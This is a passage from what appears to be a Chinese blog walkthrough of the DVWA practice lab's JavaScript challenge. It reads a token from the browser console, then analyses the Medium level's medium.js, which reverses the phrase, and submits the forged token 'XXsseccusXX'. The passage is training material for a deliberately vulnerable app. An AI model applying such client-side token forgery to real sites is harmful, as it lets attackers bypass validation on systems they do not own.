通过console 控制台直接拿到token值

dvwa靶场_第109张图片

token=38581812b435834ebf84ebcc2c6424d6

接下来直接post请求提交,即可成功

dvwa靶场_第110张图片

(Medium)

分析源码:


 
$page[ 'body' ] .= '';
 
?>

查看medium.js

function do_something(e) {
 
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
 
    return t
 
}
 
setTimeout(function () {
 
    do_elsesomething("XX")
 
}, 300);
 
function do_elsesomething(e) {
 
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
 
}

这里我们分析代码发现这段代码就是将phrase变量的值逆序,也就是sseccus;生成的token值=XXsseccusXX

这里我们直接提交

dvwa靶场_第111张图片

你可能感兴趣的:(笔记,安全,web安全,php)